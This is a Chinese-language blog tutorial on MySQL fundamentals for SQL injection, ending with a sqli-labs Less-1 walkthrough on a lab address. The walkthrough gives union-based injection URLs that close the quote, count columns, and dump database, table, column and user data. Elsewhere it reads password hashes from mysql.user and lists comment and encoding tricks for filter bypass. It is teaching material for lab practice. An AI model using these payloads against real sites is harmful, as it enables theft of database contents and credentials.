MySQL注入之基础入门(一)

一、简介

本文讲解 MySQL 数据库的一些基本操作,为后期的 SQL 注入以及 Bypass 做准备。基础部分尽可能讲日常会用到的,但是仍建议大家去 B 站或者其他平台稍微进行一些学习,理解起来更加容易。

二、基本语法

2.1 创建数据库

mysql> create database mysqltest;
Query OK, 1 row affected (0.00 sec)

2.2 查询所有数据库

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| mysqltest          |
| performance_schema |
+--------------------+
9 rows in set (0.03 sec)

2.3 使用数据库,创建一个表

mysql> use mysqltest;
Database changed
mysql> create table admin_user (id int,username char(255),password char(255));
Query OK, 0 rows affected (0.01 sec)

2.4 查看数据库,插入字段数据与查询数据

mysql> show tables;
+---------------------+
| Tables_in_mysqltest |
+---------------------+
| admin_user          |
+---------------------+
1 row in set (0.03 sec)

mysql> insert into admin_user (id,username,password) values (1,"admin","admin");
Query OK, 1 row affected (0.01 sec)

2.5 查询数据,使用 where 子句限定查询

mysql> select * from admin_user;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin    |
+----+----------+----------+
1 row in set (0.03 sec)

mysql> select * from admin_user where id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin    |
+----+----------+----------+
1 row in set (0.04 sec)

三、MySQL 默认信息

这里开始来进行 MySQL 数据库里面内置数据库以及自带表名字段讲解。

3.1 information_schema 库

information_schema 库是 MySQL 5 之后默认自带的数据库,一些面试官可能会问到这个问题,主要就是会问 MySQL 5.0 以上和 MySQL 5.0 以下有什么区别,其中最大的感受变化就是 MySQL 5.0 以后默认自带了一个 information_schema 数据库。可以说这个数据库是整个数据库的数据库,因为其中保存着关于 MySQL 数据库服务器上所保存的其他数据库的所有信息,例如其他数据库的库名,数据库的表名,字段名,用户访问权限等等。我们接下来来看一下都有什么吧。

mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
| INNODB_BUFFER_PAGE                    |
| INNODB_TRX                            |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_LOCK_WAITS                     |
| INNODB_CMPMEM                         |
| INNODB_CMP                            |
| INNODB_LOCKS                          |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_RESET                      |
| INNODB_BUFFER_PAGE_LRU                |
+---------------------------------------+
40 rows in set (0.05 sec)

接下来讲解我们经常会使用到的几个表

3.1.1 SCHEMATA 表

SCHEMATA 表储存着 MySQL 所有数据库的基本信息,包括库名,数据类型等

mysql> select schema_name from information_schema.schemata;
+--------------------+
| schema_name        |
+--------------------+
| information_schema |
| mysql              |
| mysqltest          |
| performance_schema |
+--------------------+
4 rows in set (0.04 sec)

上述语句是查询 information_schema 库中保存的其他数据库的名字

3.1.2 TABLES 表

TABLES 表储存着 MySQL 中所有的表信息,包括表有多少行,创建时间,最后更新时间等

mysql> select table_name from information_schema.tables where table_schema="mysqltest";
+------------+
| table_name |
+------------+
| user       |
+------------+
1 row in set (0.04 sec)

上述语句是查询 MySQL 中 mysqltest 数据库中所有的表名

3.1.3 COLUMNS 表

COLUMNS 表存储着 MySQL 中所有的列信息,包括列的数据类型,列的权限等等

mysql> select column_name from information_schema.columns where table_name="admin_user";
+-------------+
| column_name |
+-------------+
| id          |
| username    |
| password    |
+-------------+
3 rows in set (0.04 sec)

上述语句是查询 MySQL 中 admin_user 表中所有的列名

3.2 MySQL 库

MySQL 库也是 MySQL 数据库中自带的默认库,我们在 SQL 注入中经常用到的有 user 表,一起来看看吧。

3.2.1 MySQL 库默认表

mysql> use mysql;
Database changed
mysql> show tables;
+---------------------------+
| Tables_in_mysql           |
+---------------------------+
| columns_priv              |
| db                        |
| event                     |
| func                      |
| general_log               |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| host                      |
| ndb_binlog_index          |
| plugin                    |
| proc                      |
| procs_priv                |
| proxies_priv              |
| servers                   |
| slow_log                  |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
| user                      |
+---------------------------+
24 rows in set (0.05 sec)

3.2.2 user 表

user 表中保存着用户名、密码和 host 等信息

mysql> select user,password from user;
+------+-------------------------------------------+
| user | password                                  |
+------+-------------------------------------------+
| root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+------+-------------------------------------------+
3 rows in set (0.05 sec)

其中密码是 md5 加密的数据

四、特殊符号

MySQL 中数据一般使用一些符号包裹起来,如:

mysql> use mysqltest;
Database changed
mysql> select * from admin_user where id = "1";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin    |
+----+----------+----------+
1 row in set (0.04 sec)

4.1 常用的符号

''
""
()
{}
\
\\
``
%

这里的每个符号都是我们以后 Bypass 的有力武器,比如当过滤了双引号的时候我们可以使用单引号或者 ` (键盘 Esc 下面的那个键)进行绕过

mysql> select * from `admin_user` where id = '1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin    |
+----+----------+----------+
1 row in set (0.04 sec)

4.2 注释符号

MySQL 中拥有多种注释符号,如下:

#
/**/ /*/**/ 等同于 /**/
--+ 其实是等同于 --空格的
;%00
`
/*!*/ 内列注释也可以当做一个空格使用 /*!/*!*/ 是等效于 /*!*/的

五、注入相关基础

5.1 注入的产生

1.程序在开发时没有对用户的数据进行过滤,把用户的所有数据都当做可信数据
2.过滤不当,可绕过
3.转义不当,可绕过
4.数据库配置不当

5.2 注入的类型

常见的注入,按照我个人的习惯一般分为:数字型、字符型、搜索型,当然也可以分为:报错注入、盲注、回显注入等等。

select * from admin where id = $id; //数字型
select * from admin where id = '$id'; //字符型
select * from admin where id = "$id";
select * from admin where id = ($id);
select * from admin where id = ('$id');
select * from admin where id = ("$id");
select * from admin where username  like '%adm%';  //搜索型
select * from admin where username  like ('%adm%');
select * from admin where id = $id limit 0,1;
select * from admin order by $id;
select * from admin order by limit 0,1 $id;
select * from admin order by id limit 1,1 $id;

insert 注入
update 注入
delete 注入
limit 注入
order by 注入
二次注入 
等等

5.3 寻找 SQL 注入技巧

如何寻找注入是一门艺术,黑盒测试它建立在对每个参数的 fuzz 上,当然如果你有开发经验,拿到一套程序就能敏锐的发现注入,但凡涉及到用户交换,数据库查询的地方都将是注入的重灾区,所以你可以适当的学习一下开发。
1.当网站为成熟的 cms 框架时不建议直接黑盒注入,可以直接审计源码,或者搜索漏洞。
2.自己开发的系统,可以在本地搭建环境使用 AWVS 等工具。
3.SQL 注入总结起来主要就是一个闭合问题,然后在原本程序执行 SQL 语句时,顺带执行了我们构造的恶意的 SQL 语句。

六、数据库信息搜集

6.1 版本和路径

识别数据库版本有助于我们进一步对数据库进行注入,避免尴尬情况,比如我们前文提到的 MySQL 5.0 以上和 MySQL 5.0 以下的区别

# 查询版本
mysql> select * from admin_user where id = 1 union select 1,version(),3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin    |
|  1 | 5.5.53   | 3        |
+----+----------+----------+
2 rows in set (0.02 sec)
# 查询版本
mysql> select * from admin_user where id = 1 union select 1,@@version,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin    |
|  1 | 5.5.53   | 3        |
+----+----------+----------+
2 rows in set (0.03 sec)
# 查询 MySQL 安装路径,数据路径及当前数据库名
mysql> select * from admin_user where id = 1 union select @@basedir,@@datadir,database();
+--------------------------------+-------------------------------------+-----------+
| id                             | username                            | password  |
+--------------------------------+-------------------------------------+-----------+
| 1                              | admin                               | admin     |
| C:/phpStudy/PHPTutorial/MySQL/ | C:\phpStudy\PHPTutorial\MySQL\data\ | mysqltest |
+--------------------------------+-------------------------------------+-----------+
2 rows in set (0.04 sec)

6.2 用户和链接信息

system_user()   //系统用户名
user()          //用户名
current_user()  //当前用户名
session_user()  //链接数据库的用户名
# 查询系统用户名、当前用户名和数据库链接用户名
mysql> select * from admin_user where id = 1 union select system_user(),current_user(),session_user();
+---------------------+---------------------+---------------------+
| id                  | username            | password            |
+---------------------+---------------------+---------------------+
| 1                   | admin               | admin               |
| root@192.168.80.130 | root@192.168.80.130 | root@192.168.80.130 |
+---------------------+---------------------+---------------------+
2 rows in set (0.03 sec)

6.3 读取 host,user 和 password 信息

# 读取 host,user 和 password 信息
mysql> select * from admin_user where id = 1 union select host,user,password from mysql.user;
+-----------+----------+-------------------------------------------+
| id        | username | password                                  |
+-----------+----------+-------------------------------------------+
| 1         | admin    | admin                                     |
| localhost | root     | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 127.0.0.1 | root     | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| %%        | root     | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-----------+----------+-------------------------------------------+
4 rows in set (0.04 sec)

七、初识注入 Bypass

建议大家搭建环境来进行练习,推荐使用 sqli-labs 进行练习,本站也有 sqli-labs 的所有解题 Writeup 在没有思路的时候可以看一下。我这里讲解的均为手工注入,只为了更好的理解 SQL 注入的原理。如果只为了追求工作,快速拿下数据库,那么就直接上 sqlmap 吧,一般 sqlmap 遇到 waf 的时候还是得手工来进行,所以还是建议手工和工具相结合。

7.1 第一个注入

and 是一个逻辑判断符,要求两边同时成立,才会有返回结果,例如:

mysql> select * from admin_user where id = 1 and 1=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | admin    |
+----+----------+----------+
1 row in set (0.03 sec)

mysql> select * from admin_user where id = 1 and 1=2;
Empty set

如上,id = 1 的用户肯定存在为真(因为我们刚才创建数据库的时候已经插入了数据),然后 and 进行逻辑链接,1=1 也为真,所以返回了正确的数据结果。但是当 and 逻辑链接 1=2 时,我们知道 1 肯定不等于 2 的,所以后面的 1=2 为假,所以链接起来这条语句也为假,则没有任何数据返回了。

7.2 闭合语句

然后我们拿 sqli-labs 的第一关来进行演示一下,如下 url 存在注入点

http://192.168.80.128/sql/Less-1/index.php?id=1

我们看到这样的 url 形式第一反应应该想到的就是可能存在注入点,我们先在后面加上一个单引号 ' 看看有什么反应,果不其然,报错了,报错信息如下:

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 

意思也就是说,你的 SQL 语句出错啦,错误的大致位置是在 '1'' LIMIT 0,1 这个附近。limit 0,1 是限制返回数据为 1 条,可忽略。我们来分析这个报错语句,可以大致推测出来他内部执行的 SQL 语句应该是如下格式:

select * from xxx where id = '1'  limit 0,1

因为我们刚才在数字 1 的后面又多加上了一个单引号 ' 导致闭合不对,所以报错了,那么我们说过 SQL 注入重要的就是闭合,我们来进行闭合一下,构造 payload 如下:

http://192.168.80.128/sql/Less-1/index.php?id=1' --+

此时没有报错,说明我们已经正确闭合了,那么此时我们猜想一下他内部执行的 SQL 语句是什么样的:

select * from xxx where id = '1' --+' limit 0,1

可以看到我们新增的单引号(即第二个单引号)与原本程序中的单引号(即第一个单引号)闭合了,然后 --+ 为 MySQL 中的注释符,将后面的单引号(即原本程序中的闭合单引号)和 limit 语句全部注释掉了,所以执行成功了,也就说明我们的猜想是正确的,可以继续向下进行了。

7.3 order by 判断字段

order by 来判断当前表的字段数有多少,因为 order by 是根据列来排序的(按第几列排序),所以我们上面的 SQL 注入语句就可以进行判断列数了

http://192.168.80.128/sql/Less-1/index.php?id=1'  order by  3  --+

这时候是应该不断更换 order by 后面的数字大小,当 order by 后面的数字 <= 真正的列数时是为真的,会正确返回数据,大于了列数的时候便会报错或者页面不返回任何数据,按照这个思路我们一点一点变换后面的数字大小便可得到真正的字段数。 [title]7.4 爆数据库名[/title] 此时我们还要学习另一个知识点,即判断显示位,我们刚才通过 order by 判断列数知道了存在 3 个字段,那么他们在页面上的显示位我们却不知道,我们通过构造不存在的数据的查询来进行显示位的判断,构造如下语句:

http://192.168.80.128/sql/Less-1/?id=1' union select 1,2,3 --+

但是这样是没有返回显示位的,因为我们这个 SQL 语句后面其实还有一个 limit 限制返回一条,即页面上只会返回第一行的数据,但是我们判断显示位的数据是在第二行,所以我们需要让 union select 查询出来的结果浮上到第一行,我们可以这样做:

http://192.168.80.128/sql/Less-1/?id=-1' union select 1,2,3 --+

因为 -1 显然是在数据库中没有这个 id 的,所以前面不会返回任何数据,于是我们 union select 执行的查询语句数据便返回到了第一行。可以看到显示位为 2 和 3 那么接下来就是正式开始开始爆数据库名了,构造语句:

http://192.168.80.128/sql/Less-1/?id=-1' union select 1,database(),3 --+

可以看到 2 显示位成功返回了当前数据库名为:security

7.3 爆表名

我们上面也学习讲到了如何查询数据库的表名

# 从 information_schema 库中的 tables 表查询 table_name
# 也就是查询数据库的表名
select table_name from information_schema.tables where table_schema = 'mysqltest';

这里我们仍然再学习一个新的知识点,group_concat() 函数,即连接所有的非 NULL 字符串,也就是将所有的非空字符串进行连接,返回一个完整的字符串。默认情况下,返回字符串的最大长度为 1024 如果你需要进行修改则可以在 MySQL 配置文件中设置 group_concat_max_len 参数进行修改。
那么我们在这里就使用如下语句:

http://192.168.80.128/sql/Less-1/?id=--1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

可以看到返回了当前数据库所有的表名
这里留个问题,如果单引号被过滤了怎么办?

答:
1.使用 ` 符号进行绕过
2.使用 16 进制进行编码
3.使用 database() 绕过

7.4 爆字段

http://192.168.80.128/sql/Less-1/?id=--1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

这样就可以得到选中的 users 表中的所有字段名

7.5 爆数据

http://192.168.80.128/sql/Less-1/?id=--1' union select 1,group_concat(username),3 from users  --+

这样就可以得到选中的 users 表中的 username 字段的数据了。

7.6 再来一个问题

当使用 information_schema.schemata 时被拦截了怎么办?

答:
1.`information_schema`.`schemata `  
2.information_schema/**/.schemata
3.information_schema/*!*/.schemata
4.information_schema%0a.schemata

八、参考引用
Github:https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI
SQL 注入总结:https://xz.aliyun.com/t/2869

发表评论

电子邮件地址不会被公开。必填项已用 * 标注